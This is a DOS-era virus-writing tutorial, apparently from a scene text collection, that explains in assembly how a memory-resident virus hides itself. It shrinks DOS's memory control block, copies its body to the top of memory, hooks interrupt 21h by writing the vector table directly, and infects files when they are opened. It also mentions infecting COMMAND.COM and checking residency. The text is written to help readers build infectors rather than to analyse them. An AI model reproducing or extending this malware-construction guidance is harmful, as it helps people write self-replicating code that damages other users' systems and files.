123 lines
4.4 KiB
Plaintext
123 lines
4.4 KiB
Plaintext
|
|
|
|
TSR tutorial!
|
|
+-----------+
|
|
|
|
Of course when first learning to do something you must start from
|
|
the very beginning, writing a TSR virus comes round about after the
|
|
parasitic stage. If you can't do this, then I suggest you study up
|
|
on it before checking this out :). According to some releasing even
|
|
a parasitic infector is lame, so heh.. I guess this might come in
|
|
handy for someone.
|
|
|
|
Ok, well here goes the tutorial:
|
|
|
|
|
|
When a program is loaded, the memory around it looks like this:
|
|
|
|
|
|
| |
|
|
| |
|
|
| This is the EXE/COM |
|
|
| Program that is |
|
|
| infected. |
|
|
|______________________|
|
|
|Program Segment Prefix|
|
|
| (Shortened to PSP) | This is 100H bytes long.(256 bytes)
|
|
|______________________|
|
|
| Memory Control Block |
|
|
| (Shortened to MCB) | This is 10H bytes long. (16 bytes)
|
|
|______________________|
|
|
|
|
|
|
On entry to both COM and EXE files DS and ES contain the segment of the
|
|
PSP (Program Segment Prefix).
|
|
|
|
To get the MCB (Memory Control Block) we go:
|
|
|
|
mov ax,ds ;DS=PSP
|
|
dec ax
|
|
mov ds,ax ;Now DS=MCB
|
|
|
|
This is because the MCB hides one paragraph (paragraph=16 bytes) below
|
|
the PSP. The MCB is what DOS uses to allocate memory.
|
|
|
|
MCB Format
|
|
;******************
|
|
DS:[0] = MCB Type. - Either Z or M block.
|
|
DS:[3] = Size of block / 16.
|
|
;******************
|
|
|
|
Next go:
|
|
|
|
cmp ds:[0],'Z' ;We want a Z block because Z are the last.
|
|
jne fuck_off
|
|
|
|
sub ds:[3],memory_we_want/16
|
|
;Now DOS thinks it has less memory. So we put
|
|
;the virus in the gap.
|
|
|
|
In the PSP at position 2 is the segment address of the top of memory.
|
|
To save us calculating it from the MCB it is much easier to manipulate
|
|
this data. So:
|
|
|
|
sub ds:[12h],memory_we_want/16
|
|
|
|
;DS:[12h] now contains the segment where we put our virus.
|
|
|
|
mov ax,word ptr ds:[12h]
|
|
mov es,ax ;ES=Place to put virus.
|
|
|
|
push cs
|
|
pop ds ;DS=CS
|
|
xor di,di
|
|
;We assume SI=Start of virus.
|
|
mov cx,virus_length ;How many bytes to move.
|
|
|
|
rep movsb ;Move CX bytes from DS:SI to ES:DI
|
|
;That should move your virus to the TOM (top of memory)
|
|
|
|
I have started rushing here. Not too fast I hope. Now what you have
|
|
to do is point your interrupt (int21h) at the handler within your virus.
|
|
|
|
Setting the interrupt vector manually (without using int21h) is best
|
|
because then you can infect COMMAND.COM safely. Anyway, the interrupt
|
|
vector table is located at segment 0.
|
|
|
|
xor ax,ax ;Zero AX
|
|
mov ds,ax ;DS=0=Interrupt Vector table.
|
|
|
|
All interrupts are located at their number multiplied by four. They
|
|
are laid down with the offset first and then the segment.
|
|
|
|
mov ds:[21h*4],offset int21handler ;Offset of virus routine
|
|
mov ds:[21h*4+2],es ;Segment of virus routine
|
|
|
|
This code will set int21h to run your virus handler. But before
|
|
putting your virus in memory you should save the original Offset:Segment
|
|
in your handler so that you can return to it later on.
|
|
|
|
Your handler should look like this:
|
|
|
|
int21handler proc far
|
|
cmp ah,3dh ;This is file open.
|
|
jne go_int
|
|
push everything
|
|
do infection and shit
|
|
pop everything
|
|
go_int:
|
|
db 0eah ;This stands for jmpf
|
|
dw orig_int21_offset
|
|
dw orig_int21_segment
|
|
int21handler endp
|
|
|
|
There's also other stuff like checking for residency where you pass
|
|
into int 21h a unique register pattern and test for it and return another
|
|
weird pattern to confirm its residency. But I'm sure you'll work it out.
|
|
|
|
Ok, that'll do for another lame tutorial by Qark. Look out for more
|
|
lame tutorials, beleive me, there'll be many! :)
|
|
(With intro by Metabolis)
|
|
|
|
|